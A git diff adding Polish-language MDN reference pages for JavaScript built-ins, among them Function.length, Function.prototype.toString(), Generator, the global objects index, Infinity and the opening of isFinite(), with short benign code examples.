+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>testClass<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>Lorem ipsum<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>p</span><span class="punctuation token">&gt;</span></span>Some text<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>p</span><span class="punctuation token">&gt;</span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>div</span> <span class="attr-name token">class</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>testClass<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>dolor sit amet<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>div</span><span class="punctuation token">&gt;</span></span>
+
+<span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>text/javascript<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span>
+<span class="function token">domQuery<span class="punctuation token">(</span></span><span class="string token">'.testClass'</span><span class="punctuation token">)</span>
+ <span class="punctuation token">.</span><span class="function token">attributes<span class="punctuation token">(</span></span><span class="string token">'lang'</span><span class="punctuation token">,</span> <span class="string token">'en'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'title'</span><span class="punctuation token">,</span> <span class="string token">'Risus abundat in ore stultorum'</span><span class="punctuation token">)</span>
+ <span class="punctuation token">.</span><span class="function token">inlineStyle<span class="punctuation token">(</span></span><span class="string token">'background-color'</span><span class="punctuation token">,</span> <span class="string token">'black'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'color'</span><span class="punctuation token">,</span> <span class="string token">'white'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'width'</span><span class="punctuation token">,</span> <span class="string token">'100px'</span><span class="punctuation token">)</span><span class="punctuation token">(</span><span class="string token">'height'</span><span class="punctuation token">,</span> <span class="string token">'50px'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span>
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>body</span><span class="punctuation token">&gt;</span></span>
+
+<span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>html</span><span class="punctuation token">&gt;</span></span></code></pre>
+
+<p> </p>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>ECMAScript 1st Edition.</td>
+ <td>Standard</td>
+ <td>Initial definition. Implemented in JavaScript 1.0.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.3', 'Function')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-function-objects', 'Function')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Functions_and_function_scope", "Functions and function scope")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function", "function statement")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Statements/function*", "function* statement")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/length/index.html b/files/pl/web/javascript/referencje/obiekty/function/length/index.html
new file mode 100644
index 0000000000..e34ecb8154
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/length/index.html
@@ -0,0 +1,42 @@
+---
+title: Function.length
+slug: Web/JavaScript/Referencje/Obiekty/Function/length
+tags:
+ - Function
+ - JavaScript
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/length
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Określa liczbę argumentów oczekiwanych przez funkcję.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt <code>length</code> znajduje się na zewnątrz funkcji i określa jak wiele argumentów ma oczekiwać funkcja, i.e. liczbę oficjalnych parametrów. W przeciwieństwie do obiektu {{jsxref("arguments.length")}}, który znajduje się wewnątrz funkcji, określa liczbę argumentów faktycznie przekazywanych do funkcji.</p>
+
+<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length" name="Przyk.C5.82ad:_Zastosowanie_Function.length_i_arguments.length">Przykład: Zastosowanie <code>Function.length</code> i <code>arguments.length</code></h3>
+
+<p>Następujący przykład pokazuje w jaki należy zastosować <code>Function.length</code> i <code>arguments.length</code>.</p>
+
+<pre class="brush: js">function addNumbers(x, y){
+ if (arguments.length == addNumbers.length) {
+ return (x + y);
+ }
+ else
+ return 0;
+}
+</pre>
+
+<p>Jeśli podamy więcej niż dwa argumenty do tej funkcji, funkcja zwróci 0:</p>
+
+<pre class="eval">addNumbers(3,4,5) // zwraca 0
+addNumbers(3,4) // zwraca 7
+addNumbers(103,104) // zwraca 207
+</pre>
+
+<div class="noinclude"> </div>
diff --git a/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html
new file mode 100644
index 0000000000..2f158219b9
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/function/tostring/index.html
@@ -0,0 +1,56 @@
+---
+title: Function.prototype.toString()
+slug: Web/JavaScript/Referencje/Obiekty/Function/toString
+tags:
+ - Function
+ - JavaScript
+ - Method
+ - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Function/toString
+---
+<div>{{JSRef}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Zwraca łańcuch znaków reprezentujący kod źródłowy funkcji.</p>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<pre class="syntaxbox"><code><var>function</var>.toString(indentation)</code></pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>indentation</code> {{non-standard_inline}} {{obsolete_inline(17)}}</dt>
+ <dd>The amount of spaces to indent the string representation of the source code. If <code>indentation</code> is less than or equal to <code>-1</code>, most unnecessary spaces are removed.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Obiekt {{jsxref("Function")}} przesłania metodę {{jsxref("Object.prototype.toString", "toString")}} obiektu {{jsxref("Function")}}; nie dziedziczy {{jsxref("Object.prototype.toString")}}. Dla obiektów <code>Function</code>, metoda <code>toString()</code> zwraca łańcuch znaków reprezentujący obiekt.</p>
+
+<p>JavaScript wywołuje metodę <code>toString()</code> automatycznie, gdy {{jsxref("Function")}} jest reprezentowana jako wartość tekstowa lub kiedy <code>Function</code> jest odsyłana do połączenia łańcuchów znaków.</p>
+
+<p>Dla obiektów {{jsxref("Function")}}, wbudowana metoda <code>toString)=</code> dekompiluje funkcję z powrotem do kodu JavaScript, który tę funkcję definiuje. Łańcuch znaków zawiera słowa kluczowe <code>function</code>, listę argumentów, nawiasy klamrowe oraz ciało funkcji.</p>
+
+<p>Załóżmy na przykład, że masz poniższy kod, który definiuje obiektowy typ <code>Dog</code> i tworzy <code>theDog</code>, obiekt typu <code>Dog</code>:</p>
+
+<pre class="brush:js">function Dog(name, breed, color, sex) {
+ this.name = name
+ this.breed = breed
+ this.color = color
+ this.sex = sex
+}
+
+theDog = new Dog( "Gabby", "Lab", "chocolate", "girl" );
+</pre>
+
+<p>W dowolnej chwili, gdy <code>Dog</code> jest użyty w kontekście jako łańcuch znaków, JavaScript automatycznie wywołuje funkcję <code>toString</code>, która zwraca poniższy łańcuch znaków:</p>
+
+<pre class="brush: js">function Dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; }</pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Object.prototype.toString()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/generator/index.html b/files/pl/web/javascript/referencje/obiekty/generator/index.html
new file mode 100644
index 0000000000..8d181f0dcc
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/generator/index.html
@@ -0,0 +1,178 @@
+---
+title: Generator
+slug: Web/JavaScript/Referencje/Obiekty/Generator
+translation_of: Web/JavaScript/Reference/Global_Objects/Generator
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <code><strong>Generator</strong></code> jest zwracany przez {{jsxref("Polecenia/function*", "generator function", "", 1)}} i odpowiada obu: <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterable">iterable protocol</a> i <a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols#iterator">iterator protocol</a>.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">function* gen() {
+ yield 1;
+ yield 2;
+ yield 3;
+}
+
+var g = gen(); // "Generator { }"</pre>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{jsxref("Generator.prototype.next()")}}</dt>
+ <dd>Returns a value yielded by the {{jsxref("Operators/yield", "yield")}} expression.</dd>
+ <dt>{{jsxref("Generator.prototype.return()")}}</dt>
+ <dd>Returns the given value and finishes the generator.</dd>
+ <dt>{{jsxref("Generator.prototype.throw()")}}</dt>
+ <dd>Throws an error to a generator.</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<h3 id="An_infinite_iterator">An infinite iterator</h3>
+
+<pre class="brush: js">function* idMaker() {
+ var index = 0;
+ while(true)
+ yield index++;
+}
+
+var gen = idMaker(); // "Generator { }"
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+// ...</pre>
+
+<h2 id="Legacy_generator_objects">Legacy generator objects</h2>
+
+<p>Firefox (SpiderMonkey) also implements an earlier version of generators in <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JavaScript 1.7</a>, where the star (*) in the function declaration was not necessary (you just use the <code>yield</code> keyword in the function body). However, legacy generators are deprecated. Do not use them; they are going to be removed ({{bug(1083482)}}).</p>
+
+<h3 id="Legacy_generator_methods">Legacy generator methods</h3>
+
+<dl>
+ <dt><code>Generator.prototype.next() </code>{{non-standard_inline}}</dt>
+ <dd>Returns a value yielded by the {{jsxref("Operatory/yield", "yield")}} expression. This corresponds to <code>next()</code> in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.close()</code> {{non-standard_inline}}</dt>
+ <dd>Closes the generator, so that when calling <code>next()</code> an {{jsxref("StopIteration")}} error will be thrown. This corresponds to the <code>return()</code> method in the ES2015 generator object.</dd>
+ <dt><code>Generator.prototype.send()</code> {{non-standard_inline}}</dt>
+ <dd>Used to send a value to a generator. The value is returned from the {{jsxref("Operatory/yield", "yield")}} expression, and returns a value yielded by the next {{jsxref("Operatory/yield", "yield")}} expression. <code>send(x)</code> corresponds to <code>next(x)</code> in the ES2015 generator object.</dd>
+ <dt><strong><code>Generator.</code></strong><code>prototype.</code><strong><code>throw()</code> </strong> {{non-standard_inline}}</dt>
+ <dd>Throws an error to a generator. This corresponds to the <code>throw()</code> method in the ES2015 generator object.</dd>
+</dl>
+
+<h3 id="Legacy_generator_example">Legacy generator example</h3>
+
+<pre class="brush: js">function fibonacci() {
+ var a = yield 1;
+ yield a * 2;
+}
+
+var it = fibonacci();
+console.log(it); // "Generator { }"
+console.log(it.next()); // 1
+console.log(it.send(10)); // 20
+console.log(it.close()); // undefined
+console.log(it.next()); // throws StopIteration (as the generator is now closed)
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-generator-objects', 'Generator objects')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-generator-objects', 'Generator objects')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(39.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<h3 id="Legacy_generators">Legacy generators</h3>
+
+<ul>
+ <li>{{jsxref("Statements/Legacy_generator_function", "The legacy generator function", "", 1)}}</li>
+ <li>{{jsxref("Operators/Legacy_generator_function", "The legacy generator function expression", "", 1)}}</li>
+ <li>{{jsxref("StopIteration")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol">The legacy Iterator protocol</a></li>
+</ul>
+
+<h3 id="ES2015_generators">ES2015 generators</h3>
+
+<ul>
+ <li>{{jsxref("Functions", "Functions", "", 1)}}</li>
+ <li>{{jsxref("Statements/function", "function")}}</li>
+ <li>{{jsxref("Operators/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/index.html b/files/pl/web/javascript/referencje/obiekty/index.html
new file mode 100644
index 0000000000..ebe6dfe63f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/index.html
@@ -0,0 +1,193 @@
+---
+title: Obiekty
+slug: Web/JavaScript/Referencje/Obiekty
+tags:
+ - Dokumentacja
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>W tym rozdziale opisano wszystkie standardowe obiekty wbudowane JavaScript, w tym ich metody i właściwości.</p>
+
+<p>Pojęcie "obiekty globalne" (lub standardowe obiekty wbudowane) tutaj nie są tym samym, co <strong>obiekt globalny</strong>, który  odnosi się do <strong>obiektów o zasięgu globalnym</strong>. Dostęp do <strong>obiektu globalnego</strong> można uzyskać za pomocą operatoa {{jsxref("Operatory/this", "this")}} w zakresie globalnym (ale tylko, jeśli nie jest właczony tryb ścisły ECMAScript 5. W trybie ścisłym, w takim przypadku zostanie zwrócona wartość  {{jsxref("undefined")}}). W rzeczywistości, zakres globalny <strong>składa się</strong> z własciwości obiektu globalnego, w tym właściwości dziedziczonych, jeśli istnieją.</p>
+
+<p>Innymi obiektami o zasięgu globalnym są <a href="/pl/docs/Web/JavaScript/Guide/Working_with_Objects#Creating_new_objects">obiekty tworzone w skryptach przez użytkowników</a> albo dostarczane przez aplikacje hosta. Obiekty hosta dostępne w kontekście przeglądarki są opisane w  <a href="/pl/docs/Web/API/Reference">informatorze API</a>. Więcej informacji o różnicach dzielących <a href="/pl/docs/DOM/DOM_Reference">DOM</a> i rdzeń <a href="/pl/docs/Web/JavaScript">JavaScript</a>, znajdziesz we <a href="/pl/docs/Web/JavaScript/JavaScript_technologies_overview">Przeglądzie technologii JavaScript</a>.</p>
+
+<h2 id="Obiekty_standardowe_wg_kategorii">Obiekty standardowe wg kategorii</h2>
+
+<h3 id="Wartości">Wartości</h3>
+
+<p>Właściwości globalne zwracają proste wartości, które nie mają swoich własciwości ani metod</p>
+
+<ul>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+ <li>literał {{jsxref("null")}}</li>
+</ul>
+
+<h3 id="Funkcje">Funkcje</h3>
+
+<p>Należą tu funkcje globalne (wywoływane globalnie a nie w jakimś obiekcie), które  zwracają swoją wartość bezpośredni do wywołania.</p>
+
+<ul>
+ <li>{{jsxref("Global_Objects/eval", "eval()")}}</li>
+ <li>{{jsxref("Global_Objects/uneval", "uneval()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("Global_Objects/isFinite", "isFinite()")}}</li>
+ <li>{{jsxref("Global_Objects/isNaN", "isNaN()")}}</li>
+ <li>{{jsxref("Global_Objects/parseFloat", "parseFloat()")}}</li>
+ <li>{{jsxref("Global_Objects/parseInt", "parseInt()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURI", "decodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURI", "encodeURI()")}}</li>
+ <li>{{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent()")}}</li>
+ <li>{{jsxref("Global_Objects/escape", "escape()")}} {{deprecated_inline}}</li>
+ <li>{{jsxref("Global_Objects/unescape", "unescape()")}} {{deprecated_inline}}</li>
+</ul>
+
+<h3 id="Obiekty_podstawowe">Obiekty podstawowe</h3>
+
+<p>Są to  fundamentalne, podstawowe obiekty, stanowiące podstawę do tworzenia innych obiektów. Obejmuje to obiekty reprezentujace obiekty ogólne, funkcje i błędy.</p>
+
+<ul>
+ <li>{{jsxref("Object")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Symbol")}}</li>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("EvalError")}}</li>
+ <li>{{jsxref("InternalError")}}</li>
+ <li>{{jsxref("RangeError")}}</li>
+ <li>{{jsxref("ReferenceError")}}</li>
+ <li>{{jsxref("SyntaxError")}}</li>
+ <li>{{jsxref("TypeError")}}</li>
+ <li>{{jsxref("URIError")}}</li>
+</ul>
+
+<h3 id="Liczby_i_daty">Liczby i daty</h3>
+
+<p>Są to obiekty podstawowe reprezentujace liczby, daty i obliczenia matematyczne.</p>
+
+<ul>
+ <li>{{jsxref("Number")}}</li>
+ <li>{{jsxref("Math")}}</li>
+ <li>{{jsxref("Date")}}</li>
+</ul>
+
+<h3 id="Przetwarzanie_tekstu">Przetwarzanie tekstu</h3>
+
+<p>Kategorie te tworzą obiekty reprezentujące łańcuchy i obsługujace manipulowanie łańcuchami.</p>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Indeksowane_kolekcje">Indeksowane kolekcje</h3>
+
+<p>Obiekty te reprezentują kolekcje danych, ktore są uporządkowane według wartości indeksu. Opejmuje to tablice, typowane tablice i konstrukcje podobne do tablic.</p>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Int8Array")}}</li>
+ <li>{{jsxref("Uint8Array")}}</li>
+ <li>{{jsxref("Uint8ClampedArray")}}</li>
+ <li>{{jsxref("Int16Array")}}</li>
+ <li>{{jsxref("Uint16Array")}}</li>
+ <li>{{jsxref("Int32Array")}}</li>
+ <li>{{jsxref("Uint32Array")}}</li>
+ <li>{{jsxref("Float32Array")}}</li>
+ <li>{{jsxref("Float64Array")}}</li>
+</ul>
+
+<h3 id="Kolekcje_z_kluczami">Kolekcje z kluczami</h3>
+
+<p>Są to obiekty reprezentujące kolekcje stosujace klucze. Zawierają elementy, które są iterowalne w kolejności estawiania.</p>
+
+<ul>
+ <li>{{jsxref("Map")}}</li>
+ <li>{{jsxref("Set")}}</li>
+ <li>{{jsxref("WeakMap")}}</li>
+ <li>{{jsxref("WeakSet")}}</li>
+</ul>
+
+<h3 id="Kolekcje_wektorowe">Kolekcje wektorowe</h3>
+
+<p>Typy danych wektorowych {{Glossary("SIMD")}} są obiektami, w których dane formowane są w potoki.</p>
+
+<ul>
+ <li>{{jsxref("SIMD")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float32x4", "SIMD.Float32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Float64x2", "SIMD.Float64x2")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int8x16", "SIMD.Int8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int16x8", "SIMD.Int16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Int32x4", "SIMD.Int32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint8x16", "SIMD.Uint8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint16x8", "SIMD.Uint16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Uint32x4", "SIMD.Uint32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool8x16", "SIMD.Bool8x16")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool16x8", "SIMD.Bool16x8")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool32x4", "SIMD.Bool32x4")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Bool64x2", "SIMD.Bool64x2")}} {{experimental_inline}}</li>
+</ul>
+
+<h3 id="Dane_strukturalne">Dane strukturalne</h3>
+
+<p>Obiekty tej kategorii reprezentują i współdziałają ze strukturyzowanymi buforami danych i danymi kodowymi uzywającymi notacji JSON (JavaScript Object Notation).</p>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer")}}</li>
+ <li>{{jsxref("SharedArrayBuffer")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Atomics")}} {{experimental_inline}}</li>
+ <li>{{jsxref("DataView")}}</li>
+ <li>{{jsxref("JSON")}}</li>
+</ul>
+
+<h3 id="Kontrola_obiektów_abstrakcyjnych">Kontrola obiektów abstrakcyjnych</h3>
+
+<ul>
+ <li>{{jsxref("Promise")}}</li>
+ <li>{{jsxref("Generator")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li>{{experimental_inline}} {{jsxref("AsyncFunction")}}</li>
+</ul>
+
+<h3 id="Refleksy">Refleksy</h3>
+
+<ul>
+ <li>{{jsxref("Reflect")}}</li>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
+
+<h3 id="Internacjonalizacja">Internacjonalizacja</h3>
+
+<p>Dodatki do jadra ECMAScript dla funkcji językowych.</p>
+
+<ul>
+ <li>{{jsxref("Intl")}}</li>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("Global_Objects/DateTimeFormat", "Intl.DateTimeFormat")}}</li>
+ <li>{{jsxref("Global_Objects/NumberFormat", "Intl.NumberFormat")}}</li>
+</ul>
+
+<h3 id="WebAssembly">WebAssembly</h3>
+
+<ul>
+ <li>{{jsxref("WebAssembly")}}</li>
+ <li>{{jsxref("WebAssembly.Module")}}</li>
+ <li>{{jsxref("WebAssembly.Instance")}}</li>
+ <li>{{jsxref("WebAssembly.Memory")}}</li>
+ <li>{{jsxref("WebAssembly.Table")}}</li>
+ <li>{{jsxref("WebAssembly.CompileError")}}</li>
+ <li>{{jsxref("WebAssembly.LinkError")}}</li>
+ <li>{{jsxref("WebAssembly.RuntimeError")}}</li>
+</ul>
+
+<h3 id="Pozostałe">Pozostałe</h3>
+
+<ul>
+ <li><code><a href="/pl/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/infinity/index.html b/files/pl/web/javascript/referencje/obiekty/infinity/index.html
new file mode 100644
index 0000000000..7a2bd7ca45
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/infinity/index.html
@@ -0,0 +1,35 @@
+---
+title: Infinity
+slug: Web/JavaScript/Referencje/Obiekty/Infinity
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Infinity
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wartość numeryczna reprezentująca nieskończoność.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Infinity </code></pre>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>Infinity</code> jest własnością najwyższego rzędu i nie jest przypisana do żadnego obiektu.</p>
+
+<p>Początkową wartością <code>Infinity</code> jest {{jsxref("Number.POSITIVE_INFINITY")}}.</p>
+
+<p>Wartość <code>Infinity</code> (+nieskończoność) jest większa niż jakakolwiek liczba. Wartość ta ma wszystkie cechy matematycznej nieskończoności; np. cokolwiek pomnożone przez <code>Infinity</code> jest równe <code>Infinity</code>, a cokolwiek podzielone przez <code>Infinity</code> jest równe 0.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/isfinite/index.html b/files/pl/web/javascript/referencje/obiekty/isfinite/index.html
new file mode 100644
index 0000000000..3b699e33c2
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/isfinite/index.html
@@ -0,0 +1,56 @@
+---
+title: isFinite()
+slug: Web/JavaScript/Referencje/Obiekty/isFinite
+tags:
+ - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
+---
+<div>
+<div>
+<div>{{jsSidebar("Objects")}}</div>
+</div>
+</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Przetwarza argument w celu stwierdzenia czy jest on liczbą skończoną.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox">isFinite(<em>liczba</em>)</pre>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>liczba</code> </dt>
+ <dd>Liczba do przetworzenia.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>isFinite()</code> jest funkcją najwyższego poziomu, niepowiązaną z żadnym obiektem.</p>
+
